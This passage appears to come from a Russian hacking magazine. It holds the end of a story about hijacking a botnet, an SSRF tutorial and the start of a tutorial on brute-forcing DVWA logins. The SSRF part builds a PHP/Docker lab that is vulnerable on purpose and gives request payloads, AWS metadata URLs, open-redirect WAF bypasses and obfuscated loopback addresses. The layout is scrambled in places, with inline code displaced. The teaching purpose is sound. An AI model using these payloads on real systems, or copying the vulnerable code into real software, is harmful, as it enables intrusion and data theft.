тер, — выдохнул Кирилл.
— Вот и  отлично,  — сказала она, оглядывая стену так, будто сейчас

собиралась устроить ей допрос с  пристрастием.  — Только давай без  этих
двусмысленных интонаций, чтобы мне не пришлось принимать меры.

— Это угроза или обещание? — на всякий случай уточнил он.
— Это предупреждение, — фыркнула Маша.
С обоями дело пошло быстро: девушка и  впрямь знала, с  какой стороны

к  ним подступиться. Сначала она распорядилась их хорошенько намочить
с помощью найденного в ванной пульверизатора, нескольких тряпок и тазика
с  водой, поэтому отслаивалась старая бумага относительно быстро. Затем
Маша заявила, что перед  поклейкой новых обоев стены нужно просушить
и обработать специальной грунтовкой, составив Кириллу целый список необ‐
ходимого, с которым он должен будет навестить строительный магазин. А вот
с  линолеумом пришлось повозиться: он накрепко прилип к  бетонному полу
и никак не хотел покидать насиженное место, однако совместными усилиями
они справились и  с ним, свернув непослушный материал в  готовые
к путешествию на помойку рулоны.

Когда с  основной частью работ было покончено, Кирилл все‑таки взял
ноутбук, чтобы подобрать подходящие варианты оформления
для интернет‑магазина. Он открыл несколько похожих сайтов, стараясь сос‐
редоточиться на  экране, а  не на  сидевшей на  полу с  поджатыми ногами
Маше, которая в  его ношеной рубашке выглядела одновременно и  нелепо,
и очаровательно. Они спокойно просмотрели пару торговых площадок, Маша
то хмурила брови, то неожиданно оживлялась, показывая пальцем:

— Вот этот ничего… минималистичный. Но цвета вырвиглаз.
— Менюшки навигации кривые, — буркнул в ответ Кирилл.
— Зато структура понятная.
В какой‑то момент он машинально переключился на  вкладку с  почтой,

и именно в это самое мгновение в ящик упало долгожданное письмо от Габ‐
риеля. Кирилл пробежал текст глазами: бразилец радостно соглашался
помочь своему новоиспеченному заокеанскому другу и  даже оставил адрес
IRC-чата для связи. Что ж, нужно хватать удачу за хвост, пока она не упорхну‐
ла.

— Маш, извини, мне тут нужно срочно кое‑что доделать,  — повернулся
Кирилл к девушке, одновременно запуская дизассемблер и отладчик.

Внешне он оставался совершенно спокойным, но  мозг уже привычно
перешел на повышенную передачу, прибавив обороты.

Завалить действующий управляющий центр ботнета потоком мусорных
запросов, организовав с помощью Габриеля DDoS-атаку, — это самая прос‐
тая часть операции. Нужно еще  соорудить собственный сервер‑ловушку,
который в  критический момент перехватит управление. А  для этого необ‐
ходимо понять, как  именно червь общается со  своим оператором. Главный
вопрос  — протокол. Каким образом бот связывается с  центром, какие поля
и  порты использует, как  маскирует трафик, какие альтернативные маршруты
имеет на  случай блокировки? Если удастся воссоздать взаимодействие
хотя  бы на  уровне имитации, дальше все пойдет намного проще: сер‐
вер‑ловушка возьмет на  себя главную роль, а  настоящий оператор поймет,
что контроль ускользнул, когда уже будет слишком поздно.

Кирилл быстро шагал по  коду, словно по  темному коридору, где знание
рельефа важнее освещения. Несколько ловко расставленных точек останова,
пара гипотез насчет структуры пакетов, проверка повторяющихся последова‐
тельностей  — и  вот уже из  мрака начали проступать знакомые контуры.
Кирилл не мог отделаться от назойливой мысли, что где‑то уже видел подоб‐
ное, и  вскоре ощущение переросло в  стойкую уверенность. Червь исполь‐
зовал старый добрый MXP  — тот же самый протокол, на  котором работал
проникший в ноутбук Трикси руткит.

Со стороны это  выглядело будто надпись краской на  стене, оставленная
аршинными буквами: «Здесь был Лиам». Если раньше Кирилл еще  в чем‑то
сомневался, то теперь подозрение нашло очевидное и  наглядное под‐
тверждение.

— Я, наверное, пойду? — подала голос заскучавшая Маша.
— Угу, — отозвался Кирилл, стремительно долбя по клавишам в охватив‐

шем его азарте.
Все вокруг, кроме светящегося мертвенно‑синим светом экрана, перес‐

тало для него существовать. С каждым изученным фрагментом кода его сос‐
редоточенность крепла, превращаясь в состояние, когда весь мир постепен‐
но сжимается до размеров нескольких строк в окне дизассемблера. Все лиш‐
нее растворилось  — и  комната, и  сгустившаяся ночная темнота за  окном,
и легкие шаги Маши, тихо прикрывшей за собой дверь в комнату.

Он перехватил очередной пакет, развернул структуру данных в  памяти
и мгновенно понял: все ключевые маркеры на месте. Размер передаваемых
данных, шаблоны запросов — все совпадало. Сердце едва не подпрыгнуло:
перед ним распахнулась дверь, ведущая к серверу‑ловушке, который можно
было настроить так, чтобы оператор считал, будто управление осталось
за ним, хотя на самом деле контроль уже давно перешел в чужие руки.

Кирилл не спешил. Строчка за строчкой он собирал код собственного сер‐
вера, проверял соответствие байтов, переписывал небольшие фрагменты
программы, если считал, что они работают нестабильно. Работа шла
неторопливо, хотя нервы были натянуты до  предела. Он вычищал лишние
вызовы, подстраивал тайминги так, чтобы подмена выглядела естественно.
Со  стороны это  смотрелось, наверное, предельно скучно: молодой человек
с  растрепанными вьющимися волосами сидит посреди темной комнаты
с  ободранными обоями и  сосредоточенно работает за  компьютером,
но  именно это  и было тем самым изощренным хакерством, о  котором так
любят рассказывать с придыханием журналисты.

Наконец логика кода выстроилась в  ровную, стройную цепочку. Кирилл
выпрямился, чувствуя, как затекли плечи, и позволил себе наконец перевести
дух. Часы показывали половину седьмого утра. Работы предстояло еще мно‐
го  — нужно разместить сервер в  интернете, протестировать его реальную
работу, но основа была готова. Самая сложная часть позади.

Только сейчас он заметил, что в этот предрассветный час в квартире стало
совсем тихо. Не  было слышно ни  привычного шума электричек за  окном,
ни шорохов, ни шагов. Маша ушла — он даже не заметил, как она переоде‐
лась, аккуратно сложила на  спинку стула его рубашку, как  отключила свет
в коридоре, как закрыла за собой дверь. Она растворилась в тишине столь же
незаметно, как  и все остальное, что происходило по  эту сторону экрана.
Кирилл покосился на  темный квадрат окна и  почему‑то ощутил неприятную
тяжесть под ребрами. Впрочем, эмоции подождут, можно будет дать им волю,
когда сеть станет чуть более безопасной. Или  не подождут  — но  сейчас
это уже не имело значения.

Он включил на кухне свет, разболтал в кружке растворимый кофе и снова
вернулся к ноутбуку. Для своих целей Кирилл выбрал знакомый абьюзоустой‐
чивый, или, как  любила говорить Алла, «арбузоустойчивый», хостинг  —
для  хакеров он был чем‑то вроде непотопляемого плота среди бушующего
цифрового океана. Его держали на плаву люди, давно привыкшие закрывать
глаза на все, что не касается денег: хоть завали их претензиями, хоть грози
отключениями — любой поток жалоб отлетит от них, как сухой горох от стены.
Анонимность здесь считалась такой же естественной, как  ржавчина на  кор‐
пусах старых пиратских шхун: никто не спрашивал документов, не интересо‐
вался происхождением клиентов и  не уточнял, кто именно и  ради чего под‐
нимает на  их площадке новый сервис. Благодаря хорошо оплачиваемому
пофигизму подобные серверы стали надежным укрытием для тех, кому было
что скрывать: вирусописателей, торговцев запрещенными веществами,
умельцев, штампующих фальшивые документы, изготовителей порнухи,
сетевых жуликов всех мастей и прочих интернет‑ремесленников, предпочита‐
ющих не светить лицами. Лучшего места для поддельного управляющего сер‐
вера не  найти  — тихое, непритязательное убежище, которое всегда будет
под рукой, когда нужен настоящий цифровой тайник.

Загрузив на  сервер все написанные за  ночь скрипты и  убедившись, что
они работают, как надо, Кирилл добавил в конфигурацию финальный штрих.
Любой троян, который выйдет на  связь с  его сервером, сразу же получал
обновление, отключающее его способность искать новые домены и  рас‐
ползаться по сети. Подключившийся вредонос словно проваливался в вязкий
ил: терял подвижность, утрачивая агрессию, и  оставался на  сервере, будто
зверек, загнанный в ловушку. Он словно впадал в спячку, ожидая, пока Кирилл
не сочтет нужным его разбудить.

После этого он отправил Габриелю короткое письмо с  координатами
нынешнего управляющего узла, на котором нужно сосредоточить удар.

Охота началась. © X



ret0x2A
@ret0x2A

ВЗЛОМ

Сегодня разберем важную веб‑уяз‐
вимость  — server-side request forgery
(SSRF). Она позволяет злоумышленнику
заставить сервер жертвы обратиться
к внутреннему ресурсу, который недоступен
снаружи. В  результате хакер может
получить конфиденциальные данные
или  вовсе захватить всю корпоративную
сеть.

Я постараюсь объяснить все аспекты, которые обычно мешают успешно экс‐
плуатировать SSRF. Пройдем от самых азов до продвинутых техник.

WARNING

Статья имеет ознакомительный характер и пред‐
назначена для  специалистов по  безопасности,
проводящих тестирование в  рамках контракта.
Автор и  редакция не  несут ответственности
за  любой вред, причиненный с  применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и  нарушение тайны переписки преследуются
по закону.

АЗЫ SSRF

Для практики соберем простое веб‑приложение со скрытой админкой. Соз‐
дай текстовый файл  с таким содержимым:docker-composer.yml

 version: "3.9"
services:
  public-web:
     build: ./public-web
    ports:

       - "8090:80"
    networks:

       - ssrfnet

  internal-admin:
     build: ./internal-admin
    networks:

       - ssrfnet
    expose:

       - "80"

networks:
  ssrfnet:
     driver: bridge

Машина  будет играть роль уязвимого веб‑приложения. Машина
 доступна исключительно внутри сети Docker, то есть

с хост‑машины или откуда‑то еще невозможно до нее достучаться.

public-web
internal-admin

Рядом с   создай папки  и 

. В   положи . Это  скрытая страница, ими‐
тирующая админку:

docker-composer.yml public-web internal-
admin internal-admin admin.html

<!DOCTYPE html>
<html>
<head>
     <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, 
initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h1>Ты нашел админку</h1>
    <p>Это скрытый внутренний ресурс</p>
</body>
</html>

Добавь :Dockerfile

FROM nginx:1.25-alpine
COPY admin.html /usr/share/nginx/html/admin.html

В папке  добавь еще один , который поднимет сервис

на базе PHP:

public-web Dockerfile

FROM php:8.2-apache
COPY index.php /var/www/html/

Код уязвимого веб‑приложения:

<?php

    if (isset($_GET['download']) && isset($_GET['api_url'])) {
      $url = $_GET['api_url'];

      $data = @file_get_contents($url);
        if ($data === false) {
        http_response_code(500);

           echo "Не удалось скачать данные: " . htmlspecialchars($url);
        exit;
    }

       $filename = basename(parse_url($url, PHP_URL_PATH));
      if (!$filename) {

          $filename = "currencies.zml";
    }

       $tmpDir = sys_get_temp_dir();
          $filePath = $tmpDir . "/" . $filename;
         $zipPath = $tmpDir . "/export.zip";

     file_put_contents($filePath, $data);

       $zip = new ZipArchive();
       $zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE);
     $zip->addFile($filePath, $filename);
    $zip->close();

    header("Content-Type: application/zip");
    header("Content-Disposition: attachment; filename="export.zip"");
      header("Content-Length: " . filesize($zipPath));
    readfile($zipPath);
    exit;
}

    if (isset($_GET['api_url']) && !isset($_GET['download'])) {
      $url = $_GET['api_url'];
      $resp = @file_get_contents($url);

        
 

echo "<h3>Результат запроса:</h3><pre>" . htmlspecialchars($resp)
. "</pre>";
     echo "<hr><a href='/'>Назад</a>";
    exit;
}

  $ru = "https://www.cbr.ru/scripts/XML_daily.asp";
  $en = "https://www.cbr-xml-daily.ru/daily_eng.xml";

?>
<!DOCTYPE html>

 <html lang="ru">
<head>
     <meta charset="UTF-8">
    <title>Демо SSRF</title>
</head>
<body>
    <h2>Проверка курсов валют</h2>

     <form method="GET">
         <select name="api_url">

               <option value="<?= $ru ?>">Русский (ЦБ РФ)</option>
               <option value="<?= $en ?>">English API</option>

        </select>

         <button type="submit">Узнать курсы валют</button>
           <button type="submit" name="download" value="1">Скачать 

курсы (ZIP)</button>
    </form>

</body>
</html>

Нормальная работа уязвимого приложения

Приложение получает курсы валют с сайта ЦБ. Оно уязвимо не только к SSRF,
но  и к  LFI и  RFI. Но  мы сконцентрируемся на  SSRF. Когда пользователь
выберет язык и  нажмет «Узнать курсы валют», выполнится GET-запрос.
В  параметрах , который сообщает приложению адрес, по  которому
можно получить данные. Выполни тестовый запрос, чтобы убедиться, что дан‐
ные приходят.

api_url

INFO

О том, как  работает техника LFI, читай в  статье
«

».
File Inclusion и  Path Traversal. Разбираем две

базовые веб‑уязвимости

Ты видишь исходники всего проекта. Но  представь, что просто просматри‐
ваешь запросы к веб‑приложению. На что ты обратишь внимание? Думаю, что
на  указание URL в  одной из  переменных. Это  и есть простой способ пред‐
положить, что сервер уязвим к SSRF.

Эксплуатация SSRF

Запусти проксирование через Burp, включи режим перехвата (Intercept is on)
и повторно нажми кнопку получения данных. В перехваченном запросе найди
параметр  и  поменяй его значение на 

. Жми Forward, чтобы увидеть результат работы.

api_url http://internal-admin/
admin.html

Результат атаки SSRF

Если ты все сделал верно, увидишь текст скрытой страницы. Ты только что
выполнил свою первую атаку SSRF.

Как угадать URL
В примере я использовал внутренний URL 

, это особенности сети, построенной в Docker. Как сервис назван, такой

у него и домен в сети. Учитывай это, когда будешь выполнять реальный пен‐
тест. Микросервисная архитектура очень популярна, поэтому иногда есть
смысл подумать, какой может быть URL у соседнего сервиса.

http://internal-admin/admin.
html

Не забывай и про классические варианты, когда админка крутится на этом
же сервере, но на другом порте. Тогда URL мог бы быть 

 или  .

http://localhost:
8080/admin http://127.0.0.1:8080/admin

Защита скрытого ресурса опиралась только на  факт, что никто извне
не может получить доступ к странице. Попробуй открыть в браузере 

, чтобы убедиться в этом.

http://
internal-admin/admin.html

Веб‑сервер с уязвимым приложением находится внутри Docker-сети, зна‐
чит, имеет доступ к внутренним ресурсам. При помощи SSRF ты вынудил сер‐
вер обратиться к скрытому ресурсу и получил ответ.

Подобным образом можно получить данные конфигов, в  которых найти
креды от  базы данных или  службы каталогов LDAP. Иногда можно нащупать
внутренний сервер с  бэкапами и  скачать полную копию веб‑приложения
со  всеми данными. Давай слегка исправим пример. Добавь в 

 сервер бэкапов:
docker-

composer.yml

# Вставь между internal-admin и networks
  backup:
     image: nginx:stable-alpine
     container_name: backup-server
     hostname: backup
    networks:

       - ssrfnet
    volumes:

       - ./backup-data:/usr/share/nginx/html:ro
    expose:

       - "80"
     command: >
      sh -c "echo 'autoindex on;' > /etc/nginx/conf.d/autoindex.conf 
&&
             exec nginx -g 'daemon off;'"

# networks: ...

В корне проекта создай папку  и положи в нее ZIP-архив с име‐

нем . Архив будет имитировать реальный бэкап сервера.

backup-data
bakup.zip

Перезапусти проект Docker:

docker compose up --build

Внутри проекта появилась имитация бэкапера. Снаружи он недоступен, а во
внутренней сети можно скачать архив по  URL .

Чтобы атака прошла, выполни запрос к 

. На  выходе получишь
архив , в котором запакован твой тестовый .

http://backup/backup.zip
http://localhost:8090/?

download=1&api_url=http://backup/backup.zip
export.zip bakup.zip

На практике найти сервер бэкапов и конкретный архив сложнее. Тебе пот‐
ребуются подсказки: например, возможность прочитать конфиг бэкапера
или  скрипта, который выполняет сами бэкапы. Недавно при  тестировании
таргета мне попалась связка из SQL Injection и SSRF. Через SQLi получилось
прочитать базу, в  которой нашел путь к  последнему бэкапу системы. Через
SSRF скачал архив с конфигами и исходниками веб‑приложения. Изучив всю
информацию, получил удаленное выполнение кода.

Атака SSRF на банк Capital One
В 2019 году бывший инженер AWS Пейдж Томпсон атаковала облачную струк‐
туру банка Capital One.

Сервисы банка крутились на AWS. Хакерша нашла ошибку в конфигурации
WAF, ведущую к  SSRF. Пейдж выполнила SSRF-запрос к  AWS Instance
Metadata Service по  адресу 

. Это  служебный внутренний сервис, недос‐
тупный извне. Он выдал временные токены с правами IAM.

http://169.254.169.254/latest/meta-data/
iam/security-credentials/

Добыв IAM-токены, хакерша получила полный доступ к S3-бакетам и ска‐
чала данные примерно 100 миллионов клиентов. Часть данных она выложила
на GitHub. В итоге провела 100 дней в тюрьме, ожидая приговора. Суд наз‐
начил Пейдж три года домашнего ареста и 250 часов общественных работ.

Ущерб от  атаки оценить невозможно. Банк выплатил  80  миллионов дол‐
ларов штрафов и 190 миллионов потратил на компенсации по искам от кли‐
ентов.

SSRF создает большое количество возможностей для  хакера. Например, ты
хочешь , но  не
знаешь реальный IP. Можно просканировать в режиме masscan все CIDR воз‐
можного хостера, а затем на живых серверах искать ответ таргета. Это зай‐
мет много времени и  сработает только с  абьюзоустойчивым сервером,
который не ляжет через полчаса из‑за санкций хостера. Любой белый хостер
будет блокировать попытки массового сканирования.

при помощи Nmap просканировать сервер веб‑приложения

Если есть SSRF, попробуй выполнить запрос на  . Зайди
на  , чтобы получить уникальный адрес.

Webhook
webhook.site

WWW

  — это  онлайн‑сервис для  быстрой
отладки и тестирования веб‑хуков и любых HTTP-
запросов. Он выдает тебе уникальный временный
URL, на который можно слать POST/GET/PUT-зап‐
росы из  своего приложения, бота, CI-пайплайна
или стороннего сервиса, а затем в реальном вре‐
мени показывает все пришедшие запросы:
заголовки, тело, параметры, IP, тайминги. Так
можно убедиться, что данные доходят, формат
верный и  логика интеграции работает, не  под‐
нимая собственный сервер и  не настраивая
инфраструктуру.

Webhook.site

Скопируй этот адрес и  подставь в   тестового приложения. Webhook

автоматически обновит страницу, когда получит запрос. Ты увидишь свой IP-
адрес. В реальной практике, если повезет, там будет адрес сервера веб‑при‐
ложения.

api_url

Раскрытие IP через SSRF + Webhook

Запрос на адрес Webhook или Burp Collaborator часто используется для обна‐
ружения слепой SSRF. Выполняя запросы выше, ты видел, как  твоя SSRF
изменяет вывод. HTML-код админки или  даже ошибка  404  явно демонстри‐
ровали, что ты натолкнулся на  SSRF. Но  бывает так, что все указывает
на наличие SSRF, но нет явного вывода, и тогда это слепая уязвимость. Чтобы
ее подтвердить, попытайся выполнить запрос к  контролируемому тобой
ресурсу: Burp Collaborator, Webhook или  подобному сервису, собственному
домену.

Продолжение статьи →

https://t.me/ret0x2A
https://xakep.ru/2025/02/07/file-inclusion-path-traversal/
https://xakep.ru/2025/02/07/file-inclusion-path-traversal/
https://xakep.ru/2025/12/23/nmap-for-beginners/
https://webhook.site/
https://webhook.site/


SSRF С САМОГО

НАЧАЛА
ОСВАИВАЕМ МОЩНУЮ ТЕХНИКУ

ПОХИЩЕНИЯ ДАННЫХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ОБХОД WAF

До последнего примера все подделанные запросы были к  внутренним URL.
В реальной практике ты будешь искать векторы атаки на внутренние сервисы.
Твоя задача — захватить именно то, что внутри. Использование внешних URL
редко и чаще всего нужно для обхода WAF.

INFO

WAF (web application firewall) — это специализиро‐
ванный файрвол для  веб‑приложений, который
стоит «перед» сайтом или API и анализирует весь
входящий и  исходящий HTTP/HTTPS-трафик,
отсекая вредоносные и подозрительные запросы.
Лучшие представители умеют распознавать
и блокировать SQL-инъекции, XSS, попытки под‐
бора, сканирование уязвимостей, аномальные
паттерны поведения, превышение лимитов и дру‐
гие типичные атаки на  веб, тем самым защищая
приложение от взлома и утечек данных без необ‐
ходимости менять его код.

Давай внесем правки в  наш проект, чтобы посмотреть, как  обходить WAF.
Создай файл  в  :redirect.php public-web

<?php
        header("Location: " . $_GET['url'], true, 302);
    exit;

Этот код уже создает уязвимость под названием open redirect: без проверок
происходит перенаправление пользователя. Эту уязвимость мало кто вос‐
принимал всерьез, пока мошенники и спамеры не взялись за дело. Спамеры
активно использовали открытые редиректы социальных сетей. По  ссылкам
спамеров типа  пользователи переходили

редко. Но  зато все хотели посмотреть фотографии красивой девочки и  без
опаски следовали по  ссылкам вида 

. У большинства социальных сетей и видеохостингов

тогда были открытые редиректы. Почтовые сервисы и соцсети тоже лояльно
относились к подобным ссылкам и не банили их.

http://sdifkl453899sdfkl.com

https://l.instagram.com/?u=http://
sdifkl453899sdfkl.com

Мошенники пошли дальше и  использовали открытые редиректы
для  фишинга. Например, через официальный домен American Express:
с помощью редиректов на фишинговые страницы воровали данные и деньги.

Мы с  тобой используем открытый редирект для  обмана фильтра. Добавь
фильтрацию в  , после  вставьindex.php <?php

  function isBlockedHost($url) {
       $host = parse_url($url, PHP_URL_HOST);
        $blocked = ["localhost", "127.0.0.1", "internal-admin"];

        foreach ($blocked as $b) {
             if (stripos($host, $b) !== false) {

             return true;
        }
    }
     return false;
}

  if (isset($_GET['api_url'])) {
      $url = $_GET['api_url'];

      if (isBlockedHost($url)) {
        http_response_code(400);
        die("Адрес заблокирован фильтром безопасности");
    }
}

Примитивный WAF работает по  белому списку. Если повторишь SSRF-атаку,
прилетит статус 400 и сообщение о блокировке.

WAF блокирует доступ

Мы можем обойти блокировку, выполнив запрос на такой адрес:

/?api_url=http://public-web/redirect.php?url=http://internal-admin/
admin.html

Вместо ошибки придет нормальный ответ. Правда, админки ты не  увидишь.
Проблема в  том, что  не  пойдет по  редиректу. Чтобы

обход произошел, замени  собственной функцией:

file_get_contents
file_get_contents

  function fetch_content($url) {
      $ch = curl_init($url);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    // Ограничение, как в PortSwigger
      curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
      curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
      curl_setopt($ch, CURLOPT_TIMEOUT, 10);

      $resp = curl_exec($ch);
    curl_close($ch);

           return $resp !== false ? $resp : false;
}

Этот код  — небольшая заплатка, которая позволяет лабе сработать. Но  в
реальной жизни тебе попадутся разные варианты: когда для  обхода можно
подложить редирект и  когда нельзя. Первым делом тебе понадобится сде‐
лать для  себя вывод, что внутри используется функция, не  следующая
редиректу, и  нужно искать другие варианты. Если ты на  стороне защиты, ты
уже понимаешь, что нужно проверить в твоих проектах.

В  вызовы  замени  и  пов‐

тори запрос. Ты увидишь, что все сработало и атака SSRF показала админку.

index.php file_get_contents fetch_content

Результат обхода WAF

Но не  запутайся, адреса  и 

работают только в рамках нашего тестового проекта. Мы сами прописали эти
имена. В  реальной жизни вместо  будет домен. Чтобы приб‐
лизиться к  реальности, добавь в   объявление имени

хоста:

http://public-web http://internal-admin

public-web
docker-compose.yml

  public-web:
     build: ./public-web
     hostname: vuln-pub.local

Выполни запрос, исправив в нем  на  .public-web vuln-pub.local

Запрос с использованием доменного имени вместо имени контейнера

Другой вариант обхода  — использовать внутренний IP-адрес машины
. Когда ты работаешь с  тестовой машиной в  Docker, у  тебя

есть способ подглядеть адрес. Выполни , чтобы увидеть название

машины. После выполни команду

internal-admin
docker ps

 docker inspect -f '{{range .NetworkSettings.Networks}}{{.
IPAddress}}{{end}}' <имя_машины>

Скорее всего, машина называется , если

нет, подставь свое значение.

ssrf-example-internal-admin-1

Чтобы не хитрить, давай выполним перебор через Burp Intruder. Все будет
так же, как если бы мы наткнулись на таргет, который крутится на микросер‐
висах в Docker-контейнерах. Отправь в Inturder запрос к 

. Вместо  укажи значение из  команды

, заменив последний октет единицей. Пометь последний
октет IP как переменную. В настройках укажи тип  от 1 до 255. Запус‐

ти атаку и отсортируй результаты по размеру ответа.

/?api_url=http://
172.18.0.1/admin.html 172.18.0.1
docker inspect

Nubmers

Результат атаки через Intruder

Можно было бы использовать тип атаки «кластерная бомба» и перебрать все
возможные варианты последних трех октетов, но это дало бы слишком боль‐
шое количество запросов. Не  стоит так делать. Лучше фаззить, исходя
из каких‑то предпосылок. Например, что IP в сети Docker обычно ,

где  — это значение от 0 до 255, а   — от 1 до 254.

172.x.0.y
x y

Большинство таргетов крутятся вне Docker. Часто важные сервисы
находятся в  рамках одного сервера. Твоя задача  — как‑то взаимодейство‐
вать с   и его вариациями. WAF может блокировать запросы, содер‐

жащие  или  . Варианты обфускации:

localhost
localhost 127.0.0.1

 или    — работает, так как  классические парсеры
IPv4  дополнят недостающие октеты нулями. Обе эти записи аналогичны

. Попробуй выполнить пинги на оба варианта;

• 127.1 127.0.1

127.0.0.1
 — это целочисленная запись 32-битного адреса. Формиру‐

ется таким образом: 
. Альтернативная запись формулы, через побитовое сме‐

щение влево: . Эта фор‐
мула работает с любыми IP. Если тебе надо скрыть обращение к 

, используй ;

• 2130706433
127*(2^31/2^24) + 0*(2^16) + 0*(2^8) + 1

= 2130706433
(127<<24) + (0 << 16) + (0 << 8 + 1)

192.168.
0.1 3232235521

  — восьмеричное представление числа .
Можно усложнить обфускацию, разбив октеты точками .
Для   используй ;

• 017700000001 2130706433
0177.00.00.01

192.168.0.1 0300.0250.000.001
  — восьмеричное представление числа . Как  и

в  случае восьмеричного формата, можно разбивать на  октеты 
. Для  практики попробуй самостоятельно перевести

 в шестнадцатеричный формат.

• 0x7f000001 2130706433
0x7f.

0x00.0x00.0x01
192.168.0.1

Пинг в PowerShell с использованием альтернативного представления IP

Интересный способ обхода WAF — использование собственных доменов. Ты
можешь взять домен и настроить его так, чтобы он резолвился в локальный IP.
Для  этого создается  с  нужным IP. WAF видит запрос, считает

безопасным и  пропускает дальше. Веб‑приложение выполняет запрос.
В  момент выполнения домен резолвится в  IP-адрес. Это  может быть, нап‐
ример, .

A-запись

127.0.0.1
Итоговый запрос выполняется уже на  локальный адрес. Если WAF прод‐

винутый и резолвит адрес, чтобы делать сверку не только по URL, использует‐
ся атака через DNS Rebinding. Первый запрос может возвращать реальный IP
сервера (или IP жертвы), повторный — уже .127.0.0.1

Иногда разные ресурсы, доступные приложению, разбросаны по  сер‐
верам. Например, веб‑приложение может лежать на сервере 
у DigitalOcean. Админка или CRM-система — на соседнем сервере 

, у  того же DigitalOcean. Только, пожалуйста, не  трогай эти IP, я просто

взял два случайных адреса из случайных CIDR DigitalOcean.

159.89.170.12
157.230.

75.8

INFO

CIDR (classless inter-domain routing, «бесклас‐
совая маршрутизация»)  — это  способ записи
IP‑адресов и сетей, который заменил старую сис‐
тему классов A, B, C. Он позволяет более гибко
управлять адресным пространством и  маршру‐
тизацией в сети.

Для примера я взял из  CIDR  и  . Первая

запись говорит, что у  DigitalOcean есть  1024 IP в  диапазоне 

. Вторая указывает на диапазон 
, или 4096 адресов.

157.230.72.0/22 159.89.160.0/20
157.230.72.0–

157.230.75.255 159.89.160.0–159.89.175.
255

В подобном случае проверь, в  чьем пуле находится IP. Найди все CIDR
компании и  составь потенциальный список IP, где может крутиться интерес‐
ный тебе сервис. Выполни перебор через Burp Intruder или аналогичный инс‐
трумент, отправляя запрос SSRF.

ЗАКЛЮЧЕНИЕ

Мы с  тобой прошли большой путь от  самых простых базовых запросов
до  обфускаций и  поиска частей приложения на  других серверах. Ты узнал,
как  можно выяснить реальный IP веб‑приложения и  как при  определенных
условиях выкачать архивы с  бэкапами. Познакомился с  реальной хакерской
атакой, которая позволила через SSRF украсть токены AWS и получить доступ
к конфиденциальным данным клиентов банка.

При этом статья вводная и не закрывает всех вариантов SSRF. Например,
мы говорили только о схемах HTTP/HTTPS, но есть варианты атаки через дру‐
гие схемы: , , , ,  и так далее. Типы
запросов, которые выполняет веб‑приложение, тоже не  ограничены одним
только GET. Все это может создавать огромное количество векторов для ата‐
ки. Если тебе понравилось работать с  SSRF и  хочешь больше материалов
на эту тему, дай знать в комментариях!

file:// phar:// gopher:// data:// dict://

Но помни: все знания можно использовать только вбелую, с разрешения
владельцев ресурсов. © X
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ВЗЛОМ

Перебор паролей может стать точкой
для входа при атаке, но на вебе у этой тех‐
ники есть множество подводных камней.
В этой статье я расскажу начинающим пен‐
тестерам, как  правильно брутить, какие
инструменты использовать и  как писать
свои брутилки, если готовые не подошли.

WARNING

Статья имеет ознакомительный характер и пред‐
назначена для  специалистов по  безопасности,
проводящих тестирование в  рамках контракта.
Автор и  редакция не  несут ответственности
за  любой вред, причиненный с  применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и  нарушение тайны переписки преследуются
по закону.

Brute force — это атака на аутентификацию через грубый перебор вариантов.
Задача атакующего  — подобрать данные для  входа в  систему: пару логин/
пароль, одноразовый код при двухфакторной авторизации или токен сброса
пароля. «Грубость» перебора заключается в том, что игнорируются все усло‐
вия, кроме того, подошел пароль или нет.

Важное условие для  брута  — отсутствие ограничений на  количество
попыток либо возможность обойти эти ограничения, например через исполь‐
зование прокси. Если разработчик ограничил число попыток входа для акка‐
унта, схема ломается полностью или значительно замедляется. В этом случае
брутить креды бессмысленно.

В веб‑брутфорсе серьезные проблемы может добавить капча (картинка,
которую нужно «разгадать», чтобы доказать, что ты не  робот). Капча  —
это всегда удорожание для брута. В лучшем случае потребуется подключить
сервис разгадывания капчи. В худшем — писать бота, имитирующего поведе‐
ние пользователя. Современные hCaptcha и reCaptcha прекрасно определя‐
ют ботов.

Брутфорс — очень шумная атака. Миллионы попыток авторизации заметит
даже самый рассеянный админ. Используй брут только в крайних случаях и в
ограниченном режиме. Помни, что такая атака допустима только при  офи‐
циально оформленном пентесте: брутить можно только ресурсы, на которые
получено официальное разрешение. Но если подберешь пароль клиента, то
сильно поможешь ему: чаще всего люди используют очень похожие пароли
на разных ресурсах.

Примером реального брута может быть ситуация с  «Вконтакте» в  ранние
годы существования. Раньше алгоритмы ВК вообще не интересовало, какой
пароль у  пользователя. Пользователи тоже не  были искушены в  вопросе
выбора и ставили очень простые пароли.

Некоторые расслаблялись настолько, что использовали номер мобиль‐
ного как  логин и  пароль. Хакерам оставалось составить базу номеров
телефонов и  написать скрипт, который выполнял запрос авторизации. Ста‐
рички говорят, что за ночь брута можно было выловить сотню аккаунтов.

ПЕРВЫЙ БРУТФОРС

Давай проведем атаку на  специализированное уязвимое приложение  —
DVWA (Damn Vulnerable Web Application). В Kali Linux для этого выполняем

sudo apt update
apt dvwa sudo install -y

sudo dvwa-start

После команды  в  браузере откроется тестовое приложение.

Адрес приложения обычно выглядит так:

dvwa-start

http://127.0.0.1:42001/login.php

Авторизуйся с  данными . Нажми Create / Reset Database. Лаба
создаст базу данных и попросит снова авторизоваться. В этот раз используй
креды .

admin/admin

admin/password
Для атаки пропустим трафик через Burp Suite. Обычно Burp проксирует

на  . У  меня порт  занят, поэтому я зашел
на вкладку  и нажал шестеренку . В появившемся окне

настроек в списке прокси я добавил прокси на  . Жми , в поле 

 укажи номер порта.

http://127.0.0.1:8080 8080
Proxy Proxy settings

8081 Add Bind to
port

Настрой браузер, чтобы трафик шел через Burp. Например, при  помощи
расширения браузера .FoxyProxy

Настройки прокси Burp

Когда все будет готово, в  левом меню DVWA выбери Brute Force. Попробуй
авторизоваться с  данными . Попытка будет неудачной. Вернись

в Burp на вкладку  и в истории запросов найди подобный отчет:

admin/123
Proxy

POST /vulnerabilities/brute/ HTTP/1.1
Host: 127.0.0.1:42001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 
Firefox/128.0
